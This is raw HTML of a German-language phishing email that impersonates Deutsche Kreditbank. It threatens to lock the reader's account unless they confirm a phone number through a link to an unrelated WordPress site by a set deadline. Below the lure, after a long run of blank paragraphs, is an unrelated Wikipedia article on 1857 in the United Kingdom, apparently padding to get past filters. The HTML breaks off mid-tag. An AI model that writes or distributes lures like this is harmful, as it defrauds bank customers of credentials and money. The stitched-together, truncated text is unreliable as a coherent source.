<table style="background-color: #fff; margin-top: 20px;" border="0" width="600" cellspacing="1" cellpadding="0" align="center"><tbody><tr><td style="background-color: #ffffff;"> <strong><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/d/d4/Deutsche_Kreditbank_AG_Logo_2016.svg/491px-Deutsche_Kreditbank_AG_Logo_2016.svg.png" alt="Sovendus GmbH" width="134" height="68" data-imagetype="External" data-connectorsauthtoken="1" data-imageproxyendpoint="/actions/ei" data-imageproxyid="" /></strong></td></tr><tr><td style="padding: 10px; font-family: arial, helvetica, sans-serif; font-size: 12px; color: #606b71; width: 574px;"><p> </p><p><span style="color: #148dea;"><strong>Hallo,</strong></span></p><p>Sie haben eine neue Nachricht von der Deutsche Kreditbank erhalten, in der Ihre sichere Telefonnummer bestätigt wird, sodass Sie unsere Online-Dienste ohne Ausnahme weiterhin nutzen können.</p><p>Sie müssen das Update vor dem <span style="color: #148dea;"><strong>30.03.2022 </strong></span>abschließen , andernfalls wird Ihr Konto gesperrt und Sie müssen eine unserer Filialen der Deutsche Kreditbank aufsuchen.</p><p>Bestätigen Sie Ihre Telefonnummer, indem Sie auf den folgenden Link klicken:</p><p style="padding-left: 30px;"><span style="color: #148dea;"><a style="color: #148dea;" href="https://tuexpertoenwordpress.es/readme.php" target="_blank" rel="noopener noreferrer"><strong>Bestätigen Sie meine Telefonnummer, indem Sie direkt hier klicken</strong></a></span><br aria-hidden="true" /><br aria-hidden="true" /><br /></p><p><span style="color: #148dea;"><strong>DKB AG| Deutsche Kreditbank</strong></span></p><p class="x_x_x_x_x_x_v1v1v1m_-7307619365116778357copy-14">Copyright 2022, Deutsche Kreditbank, berlin.</p></td></tr></tbody></table><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><p> </p><h1 id="firstHeading" class="firstHeading mw-first-heading">1857 in the United Kingdom</h1><div id="bodyContent" class="vector-body"><div id="siteSub" class="noprint">From Wikipedia, the free encyclopedia</div><div id="contentSub"> </div><div id="contentSub2"> </div><div id="jump-to-nav"> </div><a class="mw-jump-link" href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#mw-head">Jump to navigation</a><a class="mw-jump-link" href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#searchInput">Jump to search</a><div id="mw-content-text" class="mw-body-content mw-content-ltr" dir="ltr" lang="en"><div class="mw-parser-output"><table class="infobox" width="300"><tbody><tr><td><div class="center"><span class="flagicon"><a title="United Kingdom of Great Britain and Ireland" href="https://en.wikipedia.org/wiki/United_Kingdom_of_Great_Britain_and_Ireland"><img class="thumbborder" src="https://upload.wikimedia.org/wikipedia/en/thumb/a/ae/Flag_of_the_United_Kingdom.svg/23px-Flag_of_the_United_Kingdom.svg.png" srcset="//upload.wikimedia.org/wikipedia/en/thumb/a/ae/Flag_of_the_United_Kingdom.svg/35px-Flag_of_the_United_Kingdom.svg.png 1.5x, //upload.wikimedia.org/wikipedia/en/thumb/a/ae/Flag_of_the_United_Kingdom.svg/46px-Flag_of_the_United_Kingdom.svg.png 2x" alt="United Kingdom of Great Britain and Ireland" width="23" height="12" data-file-width="1200" data-file-height="600" /></a></span> <strong>1857 in the United Kingdom</strong> <span class="flagicon"><a title="United Kingdom of Great Britain and Ireland" href="https://en.wikipedia.org/wiki/United_Kingdom_of_Great_Britain_and_Ireland"><img class="thumbborder" src="https://upload.wikimedia.org/wikipedia/en/thumb/a/ae/Flag_of_the_United_Kingdom.svg/23px-Flag_of_the_United_Kingdom.svg.png" srcset="//upload.wikimedia.org/wikipedia/en/thumb/a/ae/Flag_of_the_United_Kingdom.svg/35px-Flag_of_the_United_Kingdom.svg.png 1.5x, //upload.wikimedia.org/wikipedia/en/thumb/a/ae/Flag_of_the_United_Kingdom.svg/46px-Flag_of_the_United_Kingdom.svg.png 2x" alt="United Kingdom of Great Britain and Ireland" width="23" height="12" data-file-width="1200" data-file-height="600" /></a></span></div></td></tr><tr><td><div class="center"><em>Other years</em></div></td></tr><tr><td><div class="center"><a title="1855 in the United Kingdom" href="https://en.wikipedia.org/wiki/1855_in_the_United_Kingdom">1855</a> | <a title="1856 in the United Kingdom" href="https://en.wikipedia.org/wiki/1856_in_the_United_Kingdom">1856</a> | <strong>1857</strong> | <a title="1858 in the United Kingdom" href="https://en.wikipedia.org/wiki/1858_in_the_United_Kingdom">1858</a> | <a title="1859 in the United Kingdom" href="https://en.wikipedia.org/wiki/1859_in_the_United_Kingdom">1859</a></div></td></tr><tr><td><div class="center"><em>Sport</em></div></td></tr><tr><td><div class="center"><a class="mw-redirect" title="1857 English cricket season" href="https://en.wikipedia.org/wiki/1857_English_cricket_season">1857 English cricket season</a></div></td></tr></tbody></table><p>Events from the year <strong><a title="1857" href="https://en.wikipedia.org/wiki/1857">1857</a> in the <a title="United Kingdom of Great Britain and Ireland" href="https://en.wikipedia.org/wiki/United_Kingdom_of_Great_Britain_and_Ireland">United Kingdom</a></strong>.</p><div id="toc" class="toc" role="navigation" aria-labelledby="mw-toc-heading"><input id="toctogglecheckbox" class="toctogglecheckbox" role="button" type="checkbox" /><div class="toctitle" dir="ltr" lang="en"><h2 id="mw-toc-heading">Contents</h2><label class="toctogglelabel" for="toctogglecheckbox"></label></div><ul><li class="toclevel-1 tocsection-1"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#Incumbents"><span class="tocnumber">1</span><span class="toctext">Incumbents</span></a></li><li class="toclevel-1 tocsection-2"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#Events"><span class="tocnumber">2</span><span class="toctext">Events</span></a><ul><li class="toclevel-2 tocsection-3"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#Undated"><span class="tocnumber">2.1</span><span class="toctext">Undated</span></a></li></ul></li><li class="toclevel-1 tocsection-4"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#Publications"><span class="tocnumber">3</span><span class="toctext">Publications</span></a></li><li class="toclevel-1 tocsection-5"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#Births"><span class="tocnumber">4</span><span class="toctext">Births</span></a></li><li class="toclevel-1 tocsection-6"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#Deaths"><span class="tocnumber">5</span><span class="toctext">Deaths</span></a></li><li class="toclevel-1 tocsection-7"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#See_also"><span class="tocnumber">6</span><span class="toctext">See also</span></a></li><li class="toclevel-1 tocsection-8"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#References"><span class="tocnumber">7</span><span class="toctext">References</span></a></li></ul></div><h2><span id="Incumbents" class="mw-headline">Incumbents</span><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a title="Edit section: Incumbents" href="https://en.wikipedia.org/w/index.php?title=1857_in_the_United_Kingdom&action=edit&section=1">edit</a><span class="mw-editsection-bracket">]</span></span></h2><ul><li><a class="mw-redirect" title="Monarch of the United Kingdom" href="https://en.wikipedia.org/wiki/Monarch_of_the_United_Kingdom">Monarch</a> – <a title="Queen Victoria" href="https://en.wikipedia.org/wiki/Queen_Victoria">Victoria</a></li><li><a title="Prime Minister of the United Kingdom" href="https://en.wikipedia.org/wiki/Prime_Minister_of_the_United_Kingdom">Prime Minister</a> – <a title="Henry John Temple, 3rd Viscount Palmerston" href="https://en.wikipedia.org/wiki/Henry_John_Temple,_3rd_Viscount_Palmerston">Henry John Temple, 3rd Viscount Palmerston</a> (<a title="Whigs (British political party)" href="https://en.wikipedia.org/wiki/Whigs_(British_political_party)">Whig</a>)</li><li><a title="Parliament of the United Kingdom" href="https://en.wikipedia.org/wiki/Parliament_of_the_United_Kingdom">Parliament</a> – <a title="List of MPs elected in the 1852 United Kingdom general election" href="https://en.wikipedia.org/wiki/List_of_MPs_elected_in_the_1852_United_Kingdom_general_election">16th</a> (until 21 March), <a title="List of MPs elected in the 1852 United Kingdom general election" href="https://en.wikipedia.org/wiki/List_of_MPs_elected_in_the_1852_United_Kingdom_general_election">17th</a> (starting 30 April)</li></ul><h2><span id="Events" class="mw-headline">Events</span><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a title="Edit section: Events" href="https://en.wikipedia.org/w/index.php?title=1857_in_the_United_Kingdom&action=edit&section=2">edit</a><span class="mw-editsection-bracket">]</span></span></h2><ul><li>7 January – <a title="London General Omnibus Company" href="https://en.wikipedia.org/wiki/London_General_Omnibus_Company">London General Omnibus Company</a> begins operating.<sup id="cite_ref-Pocket_On_This_Day_1-0" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-Pocket_On_This_Day-1">[1]</a></sup></li><li>19 February – <a title="Lundhill Colliery explosion" href="https://en.wikipedia.org/wiki/Lundhill_Colliery_explosion">Lundhill Colliery explosion</a> at <a title="Wombwell" href="https://en.wikipedia.org/wiki/Wombwell">Wombwell</a> in the <a title="South Yorkshire Coalfield" href="https://en.wikipedia.org/wiki/South_Yorkshire_Coalfield">South Yorkshire Coalfield</a> kills 189 miners.<sup id="cite_ref-2" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-2">[2]</a></sup></li><li>3 March – France and the United Kingdom formally declare war on China in the <a title="Second Opium War" href="https://en.wikipedia.org/wiki/Second_Opium_War">Second Opium War</a>.</li><li>5 March – in <a title="London" href="https://en.wikipedia.org/wiki/London">London</a>, <a title="Barrister" href="https://en.wikipedia.org/wiki/Barrister">barrister</a> <a title="James Townsend Saward" href="https://en.wikipedia.org/wiki/James_Townsend_Saward">James Townsend Saward</a> receives a sentence of <a title="Penal transportation" href="https://en.wikipedia.org/wiki/Penal_transportation">penal transportation</a> for <a title="Forgery" href="https://en.wikipedia.org/wiki/Forgery">forging cheques</a>.</li><li>27 March–24 April – a <a title="1857 United Kingdom general election" href="https://en.wikipedia.org/wiki/1857_United_Kingdom_general_election">general election</a> secures <a title="Henry John Temple, 3rd Viscount Palmerston" href="https://en.wikipedia.org/wiki/Henry_John_Temple,_3rd_Viscount_Palmerston">Palmerston</a>'s <a class="mw-redirect" title="Whig (British political faction)" href="https://en.wikipedia.org/wiki/Whig_(British_political_faction)">Whigs</a> a clear majority.<sup id="cite_ref-CBH_3-0" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-CBH-3">[3]</a></sup></li><li>4 April – end of the <a title="Anglo-Persian War" href="https://en.wikipedia.org/wiki/Anglo-Persian_War">Anglo-Persian War</a>.</li><li>5 May–17 October – the <a title="Art Treasures Exhibition, Manchester 1857" href="https://en.wikipedia.org/wiki/Art_Treasures_Exhibition,_Manchester_1857">Art Treasures of Great Britain</a> exhibition is held in <a title="Manchester" href="https://en.wikipedia.org/wiki/Manchester">Manchester</a>, one of the largest such displays of all time.<sup id="cite_ref-4" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-4">[4]</a></sup></li><li>10 May – <a title="Indian Rebellion of 1857" href="https://en.wikipedia.org/wiki/Indian_Rebellion_of_1857">Indian Rebellion</a>: In India, the <a title="Mutiny" href="https://en.wikipedia.org/wiki/Mutiny">Mutiny</a> of XI Native Cavalry of the <a title="Bengal" href="https://en.wikipedia.org/wiki/Bengal">Bengal</a> Army in <a title="Meerut" href="https://en.wikipedia.org/wiki/Meerut">Meerut</a>, revolt against the <a class="mw-redirect" title="British East India Company" href="https://en.wikipedia.org/wiki/British_East_India_Company">British East India Company</a>.<sup id="cite_ref-Pocket_On_This_Day_1-1" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-Pocket_On_This_Day-1">[1]</a></sup></li><li>11 May – Indian combatants capture <a title="Delhi" href="https://en.wikipedia.org/wiki/Delhi">Delhi</a> from the East India Company.</li><li>18 May – <a title="British Museum Reading Room" href="https://en.wikipedia.org/wiki/British_Museum_Reading_Room">British Museum Reading Room</a> opens.<sup id="cite_ref-CBH_3-1" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-CBH-3">[3]</a></sup></li><li>22 June – the South Kensington Museum, predecessor of the <a title="Victoria and Albert Museum" href="https://en.wikipedia.org/wiki/Victoria_and_Albert_Museum">Victoria and Albert Museum</a>, is opened by <a title="Queen Victoria" href="https://en.wikipedia.org/wiki/Queen_Victoria">Queen Victoria</a> in London;<sup id="cite_ref-5" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-5">[5]</a></sup> it is the world’s first museum to incorporate a refreshment room.<sup id="cite_ref-6" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-6">[6]</a></sup></li><li>25 June – Queen Victoria formally grants her husband <a title="Albert, Prince Consort" href="https://en.wikipedia.org/wiki/Albert,_Prince_Consort">Albert</a> the title <a class="mw-redirect" title="Prince Consort" href="https://en.wikipedia.org/wiki/Prince_Consort">Prince Consort</a>.<sup id="cite_ref-7" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-7">[7]</a></sup></li><li>26 June – at a ceremony in <a title="Hyde Park, London" href="https://en.wikipedia.org/wiki/Hyde_Park,_London">Hyde Park, London</a>, Queen Victoria awards the first sixty-six <a title="Victoria Cross" href="https://en.wikipedia.org/wiki/Victoria_Cross">Victoria Crosses</a>,<sup id="cite_ref-Pocket_On_This_Day_1-2" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-Pocket_On_This_Day-1">[1]</a></sup> for actions during the <a title="Crimean War" href="https://en.wikipedia.org/wiki/Crimean_War">Crimean War</a>. Commander <a class="mw-redirect" title="Henry James Raby" href="https://en.wikipedia.org/wiki/Henry_James_Raby">Henry James Raby</a>, RN, is the first to receive the medal from her hands.</li><li>12 July – in <a title="Belfast" href="https://en.wikipedia.org/wiki/Belfast">Belfast</a>, confrontations between crowds of <a class="mw-redirect" title="Roman Catholic Church" href="https://en.wikipedia.org/wiki/Roman_Catholic_Church">Catholics</a> and <a title="Protestantism" href="https://en.wikipedia.org/wiki/Protestantism">Protestants</a> turn into 10 days of rioting, exacerbated by the open-air preaching of <a class="mw-redirect" title="Evangelical" href="https://en.wikipedia.org/wiki/Evangelical">Evangelical</a> <a title="Presbyterian Church in Ireland" href="https://en.wikipedia.org/wiki/Presbyterian_Church_in_Ireland">Presbyterian</a> minister "Roaring" <a title="Hugh Hanna" href="https://en.wikipedia.org/wiki/Hugh_Hanna">Hugh Hanna</a>,<sup id="cite_ref-8" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-8">[8]</a></sup> with many of the police force joining the Protestant side. There are also riots in <a title="Derry" href="https://en.wikipedia.org/wiki/Derry">Derry</a>, <a title="Portadown" href="https://en.wikipedia.org/wiki/Portadown">Portadown</a> and <a title="Lurgan" href="https://en.wikipedia.org/wiki/Lurgan">Lurgan</a>.<sup id="cite_ref-9" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-9">[9]</a></sup></li><li>18 July – <a class="mw-redirect" title="Prison hulk" href="https://en.wikipedia.org/wiki/Prison_hulk">prison hulk</a> <a title="HMS Defence (1815)" href="https://en.wikipedia.org/wiki/HMS_Defence_(1815)">HMS <em>Defence</em></a> catches fire at her moorings off <a title="Woolwich" href="https://en.wikipedia.org/wiki/Woolwich">Woolwich</a>, bringing an end to the use of hulks in home waters.<sup id="cite_ref-10" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-10">[10]</a></sup></li><li>28 August – <a title="Matrimonial Causes Act 1857" href="https://en.wikipedia.org/wiki/Matrimonial_Causes_Act_1857">Matrimonial Causes Act</a> removes <a title="Divorce" href="https://en.wikipedia.org/wiki/Divorce">divorce</a> from ecclesiastical jurisdiction and makes it possible by order of a new civil <a title="Court for Divorce and Matrimonial Causes" href="https://en.wikipedia.org/wiki/Court_for_Divorce_and_Matrimonial_Causes">Court for Divorce and Matrimonial Causes</a>, removing the necessity of <a class="mw-redirect" title="Parliamentary" href="https://en.wikipedia.org/wiki/Parliamentary">parliamentary</a> approval.<sup id="cite_ref-CBH_3-2" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-CBH-3">[3]</a></sup></li><li>September – <a title="Obscene Publications Act 1857" href="https://en.wikipedia.org/wiki/Obscene_Publications_Act_1857">Obscene Publications Act</a> makes the sale of obscene material a statutory offence.<sup id="cite_ref-11" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-11">[11]</a></sup></li><li>20 September – British forces recapture <a title="Delhi" href="https://en.wikipedia.org/wiki/Delhi">Delhi</a>,<sup id="cite_ref-CBH_3-3" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-CBH-3">[3]</a></sup> compelling the surrender of <a class="mw-redirect" title="Bahadur Shah II" href="https://en.wikipedia.org/wiki/Bahadur_Shah_II">Bahadur Shah II</a>, the last <a title="Mughal Empire" href="https://en.wikipedia.org/wiki/Mughal_Empire">Mughal emperor</a>.</li><li>24 October – <a title="Sheffield F.C." href="https://en.wikipedia.org/wiki/Sheffield_F.C.">Sheffield F.C.</a>, the world's first <a title="Association football" href="https://en.wikipedia.org/wiki/Association_football">football</a> team, is founded in <a title="Sheffield" href="https://en.wikipedia.org/wiki/Sheffield">Sheffield</a>.<sup id="cite_ref-Pocket_On_This_Day_1-3" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-Pocket_On_This_Day-1">[1]</a></sup></li><li>November – <a title="Kilburn White Horse" href="https://en.wikipedia.org/wiki/Kilburn_White_Horse">Kilburn White Horse</a> cut in North Yorkshire.</li><li>29 November – <a title="Orsini affair" href="https://en.wikipedia.org/wiki/Orsini_affair">Orsini affair</a>: Piedmontese revolutionary <a title="Felice Orsini" href="https://en.wikipedia.org/wiki/Felice_Orsini">Felice Orsini</a> leaves exile in London to make an assassination attempt on Emperor <a title="Napoleon III" href="https://en.wikipedia.org/wiki/Napoleon_III">Napoleon III</a> of France in Paris.</li><li>31 December – Queen Victoria chooses <a title="Ottawa" href="https://en.wikipedia.org/wiki/Ottawa">Ottawa</a> as the capital of <a title="Canada" href="https://en.wikipedia.org/wiki/Canada">Canada</a>.</li></ul><h3><span id="Undated" class="mw-headline">Undated</span><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a title="Edit section: Undated" href="https://en.wikipedia.org/w/index.php?title=1857_in_the_United_Kingdom&action=edit&section=3">edit</a><span class="mw-editsection-bracket">]</span></span></h3><ul><li>First official issue of <a title="Uniforms of the Royal Navy" href="https://en.wikipedia.org/wiki/Uniforms_of_the_Royal_Navy">uniforms of the Royal Navy</a> to <a title="Naval rating" href="https://en.wikipedia.org/wiki/Naval_rating">naval ratings</a>.</li><li><a title="Tom Gallaher" href="https://en.wikipedia.org/wiki/Tom_Gallaher">Tom Gallaher</a> sets up the <a title="Gallaher Group" href="https://en.wikipedia.org/wiki/Gallaher_Group">Gallaher</a> tobacco business in Ireland.<sup id="cite_ref-12" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-12">[12]</a></sup></li></ul><h2><span id="Publications" class="mw-headline">Publications</span><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a title="Edit section: Publications" href="https://en.wikipedia.org/w/index.php?title=1857_in_the_United_Kingdom&action=edit&section=4">edit</a><span class="mw-editsection-bracket">]</span></span></h2><ul><li><a title="R. M. Ballantyne" href="https://en.wikipedia.org/wiki/R._M._Ballantyne">R. M. Ballantyne</a>'s novel <em><a title="The Coral Island" href="https://en.wikipedia.org/wiki/The_Coral_Island">The Coral Island</a></em>.</li><li><a title="George Borrow" href="https://en.wikipedia.org/wiki/George_Borrow">George Borrow</a>'s novel <em><a title="The Romany Rye" href="https://en.wikipedia.org/wiki/The_Romany_Rye">The Romany Rye</a></em>.</li><li><a title="Charlotte Brontë" href="https://en.wikipedia.org/wiki/Charlotte_Bront%C3%AB">Charlotte Brontë</a>'s novel <em><a title="The Professor (novel)" href="https://en.wikipedia.org/wiki/The_Professor_(novel)">The Professor</a></em> (posthumously, as by 'Currer Bell').</li><li><a title="Charles Dickens" href="https://en.wikipedia.org/wiki/Charles_Dickens">Charles Dickens</a>'s novel <em><a title="Little Dorrit" href="https://en.wikipedia.org/wiki/Little_Dorrit">Little Dorrit</a></em> (complete in book form).</li><li><a title="Elizabeth Gaskell" href="https://en.wikipedia.org/wiki/Elizabeth_Gaskell">Elizabeth Gaskell</a>'s biography <em><a title="The Life of Charlotte Brontë" href="https://en.wikipedia.org/wiki/The_Life_of_Charlotte_Bront%C3%AB">The Life of Charlotte Brontë</a></em>.</li><li><a title="Philip Henry Gosse" href="https://en.wikipedia.org/wiki/Philip_Henry_Gosse">P. H. Gosse</a>'s <a title="Creationism" href="https://en.wikipedia.org/wiki/Creationism">creationist</a> text <em><a title="Omphalos (book)" href="https://en.wikipedia.org/wiki/Omphalos_(book)">Omphalos</a></em>.</li><li><a title="Thomas Hughes" href="https://en.wikipedia.org/wiki/Thomas_Hughes">Thomas Hughes</a>' novel <em><a class="mw-redirect" title="Tom Brown's Schooldays" href="https://en.wikipedia.org/wiki/Tom_Brown%27s_Schooldays">Tom Brown's Schooldays</a></em>.<sup id="cite_ref-CBH_3-4" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-CBH-3">[3]</a></sup></li><li><a title="George Alfred Lawrence" href="https://en.wikipedia.org/wiki/George_Alfred_Lawrence">George A. Lawrence</a>'s novel <em>Guy Livingstone, or Thorough</em> (anonymously).<sup id="cite_ref-13" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-13">[13]</a></sup></li><li><a title="John Ruskin" href="https://en.wikipedia.org/wiki/John_Ruskin">John Ruskin</a>'s introductory text <em><a class="new" title="The Elements of Drawing (page does not exist)" href="https://en.wikipedia.org/w/index.php?title=The_Elements_of_Drawing&action=edit&redlink=1">The Elements of Drawing</a></em>.</li><li><a title="William Makepeace Thackeray" href="https://en.wikipedia.org/wiki/William_Makepeace_Thackeray">William Makepeace Thackeray</a>'s historical novel <em><a title="The Virginians" href="https://en.wikipedia.org/wiki/The_Virginians">The Virginians</a></em> (begins serialisation).</li><li><a title="Anthony Trollope" href="https://en.wikipedia.org/wiki/Anthony_Trollope">Anthony Trollope</a>'s novel <em><a title="Barchester Towers" href="https://en.wikipedia.org/wiki/Barchester_Towers">Barchester Towers</a></em>.<sup id="cite_ref-Icons_14-0" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-Icons-14">[14]</a></sup></li></ul><h2><span id="Births" class="mw-headline">Births</span><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a title="Edit section: Births" href="https://en.wikipedia.org/w/index.php?title=1857_in_the_United_Kingdom&action=edit&section=5">edit</a><span class="mw-editsection-bracket">]</span></span></h2><ul><li>18 January – <a title="William Lethaby" href="https://en.wikipedia.org/wiki/William_Lethaby">William Lethaby</a>, <a title="Arts and Crafts movement" href="https://en.wikipedia.org/wiki/Arts_and_Crafts_movement">Arts and Crafts</a> architect and designer (died 1931)</li><li>25 January – <a title="Hugh Lowther, 5th Earl of Lonsdale" href="https://en.wikipedia.org/wiki/Hugh_Lowther,_5th_Earl_of_Lonsdale">Hugh Lowther, 5th Earl of Lonsdale</a>, sportsman (died 1944)</li><li>31 January – <a title="George Jackson Churchward" href="https://en.wikipedia.org/wiki/George_Jackson_Churchward">George Jackson Churchward</a>, chief mechanical engineer of the <a title="Great Western Railway" href="https://en.wikipedia.org/wiki/Great_Western_Railway">Great Western Railway</a> (died 1933)</li><li>2 February – <a class="mw-redirect" title="Sir James Cory, 1st Baronet" href="https://en.wikipedia.org/wiki/Sir_James_Cory,_1st_Baronet">Sir James Cory, 1st Baronet</a>, politician and ship-owner (died 1933)</li><li>22 February – <a class="mw-redirect" title="Robert Baden-Powell" href="https://en.wikipedia.org/wiki/Robert_Baden-Powell">Robert Baden-Powell</a>, founder of the <a title="Scouting" href="https://en.wikipedia.org/wiki/Scouting">Scouting</a> movement (died 1941)</li><li>13 March – <a title="Herbert Plumer, 1st Viscount Plumer" href="https://en.wikipedia.org/wiki/Herbert_Plumer,_1st_Viscount_Plumer">Herbert Plumer, 1st Viscount Plumer</a>, general (died 1932)</li><li>14 March – <a title="Ishbel Hamilton-Gordon, Marchioness of Aberdeen and Temair" href="https://en.wikipedia.org/wiki/Ishbel_Hamilton-Gordon,_Marchioness_of_Aberdeen_and_Temair">Ishbel Hamilton-Gordon, Marchioness of Aberdeen and Temair</a>, patron and promoter of women's interests (died 1939)<sup id="cite_ref-15" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-15">[15]</a></sup></li><li>27 March – <a title="Karl Pearson" href="https://en.wikipedia.org/wiki/Karl_Pearson">Karl Pearson</a>, statistician (died 1936)</li><li>8 April – <a title="Lucy, Lady Houston" href="https://en.wikipedia.org/wiki/Lucy,_Lady_Houston">Lucy, Lady Houston</a>, born Fanny Lucy Radmall, political activist, suffragette, philanthropist and promoter of aviation (died 1936)</li><li>11 April – <a title="John Davidson (poet)" href="https://en.wikipedia.org/wiki/John_Davidson_(poet)">John Davidson</a>, Scottish-born poet and playwright (suicide 1909)</li><li>14 April<ul><li><a title="Princess Beatrice of the United Kingdom" href="https://en.wikipedia.org/wiki/Princess_Beatrice_of_the_United_Kingdom">Princess Beatrice of the United Kingdom</a>, member of the royal family (died 1944)</li><li><a title="Victor Horsley" href="https://en.wikipedia.org/wiki/Victor_Horsley">Victor Horsley</a>, physician, surgeon (died 1916)</li></ul></li><li>13 May – <a title="Ronald Ross" href="https://en.wikipedia.org/wiki/Ronald_Ross">Ronald Ross</a>, physician, recipient of the <a title="Nobel Prize in Physiology or Medicine" href="https://en.wikipedia.org/wiki/Nobel_Prize_in_Physiology_or_Medicine">Nobel Prize in Physiology or Medicine</a> (died 1932)</li><li>15 May – <a title="Williamina Fleming" href="https://en.wikipedia.org/wiki/Williamina_Fleming">Williamina Fleming</a>, astronomer (died 1911)<sup id="cite_ref-16" class="reference"><a href="https://en.wikipedia.org/wiki/1857_in_the_United_Kingdom#cite_note-16">[16]</a></sup></li><li>28 May – <a class="mw-redirect" title="Charles Voysey (architect)" href="https://en.wikipedia.org/wiki/Charles_Voysey_(architect)">Charles Voysey</a>, <a title="Arts and Crafts movement" href="https://en.wikipedia.org/wiki/Arts_and_Crafts_movement">Arts and Crafts</a> designer and domestic architect (died 1941)</li><li>2 June – <a title="Edward Elgar" href="https://en.wikipedia.org/wiki/Edward_Elgar">Edward Elgar</a>, composer (died 1934)</li><li>12 June – <a title="Kate Lester" href="https://en.wikipedia.org/wiki/Kate_Lester">Kate Lester</a>, stage and silent screen actress (died 1924)</li><li>15 June – <a title="William Fife" href="https://en.wikipedia.org/wiki/William_Fife">William Fife</a>, Scottish yacht designer (died 1944)</li><li>28 June – <a title="Sir Robert Jones, 1st Baronet" href="https://en.wikipedia.org/wiki/Sir_Robert_Jones,_1st_Baronet">Robert Jones</a>, Welsh orthopaedic surgeon (died 1933)</li><li>19 September – <a title="James Bridie (rugby union)" href="https://en.wikipedia.org/wiki/James_Bridie_(rugby_union)">James Bridie</a>, rugby union international (died 1893)</li><li>28 September – <a title="Lewis Bayly (Royal Navy officer)" href="https://en.wikipedia.org/wiki/Lewis_Bayly_(Royal_Navy_officer)">Lewis Bayly</a>, admiral (died 1938)</li><li>2 October<ul><li><a title="John Macintyre" href="https://en.wikipedia.org/wiki/John_Macintyre">John Macintyre</a> Scottish <a class="mw-redirect" title="Laryngologist" href="https://en.wikipedia.org/wiki/Laryngologist">laryngologist</a> and pioneer <a title="Radiographer" href="https://en.wikipedia.org/wiki/Radiographer">radiographer</a> (died 1928)</li><li><a title="A. E. Waite" href="https://en.wikipedia.org/wiki/A._E._Waite">A. E. Waite</a>, occultist (died 1942)</li></ul></li><li>4 October – <a title="Will Thorne" href="https://en.wikipedia.org/wiki/Will_Thorne">Will Thorne</a>, trade unionist (died 1946)</li><li>5 November – <a title="Joseph Tabrar" href="https://en.wikipedia.org/wiki/Joseph_Tabrar">Joseph Tabrar</a>, songwriter (died 1931)</li><li>17 November – <a title="George Marchant" href="https://en.wikipedia.org/wiki/George_Marchant">George Marchant</a>, inventor, manufacturer and philanthropist (died 1941)</li><li>22 November – <a title="George Gissing" href="https://en.wikipedia.org/wiki/George_Gissing">George Gissing</a>, novelist (died 1903)</li><li>27 November – <a title="Charles Scott Sherrington" href="https://en.wikipedia.org/wiki/Charles_Scott_Sherrington">Charles Scott Sherrington</a>, physiologist, <a title="Nobel Prize in Physiology or Medicine" href="https://en.wikipedia.org/wiki/Nobel_Prize_in_Physiology_or_Medicine">Nobel Prize</a> laureate (died 1952)</li><li>30 November – <a title="Bobby Abel" href="https://en.wikipedia.org/wiki/Bobby_Abel">Bobby Abel</a>, cricketer (died 1936)</li><li>2 December – <a title="Robert Armstrong-Jones" href="https://en.wikipedia.org/wiki/Robert_Armstrong-Jones">Robert Armstrong-Jones</a>, physician and psychiatrist (died 1943)</li></ul><h2><span id="Deaths" class="mw-headline">Deaths</span><span class="mw-editsection"><span class="mw-editsection-bracket">[</span><a title="Edit section: Deaths" 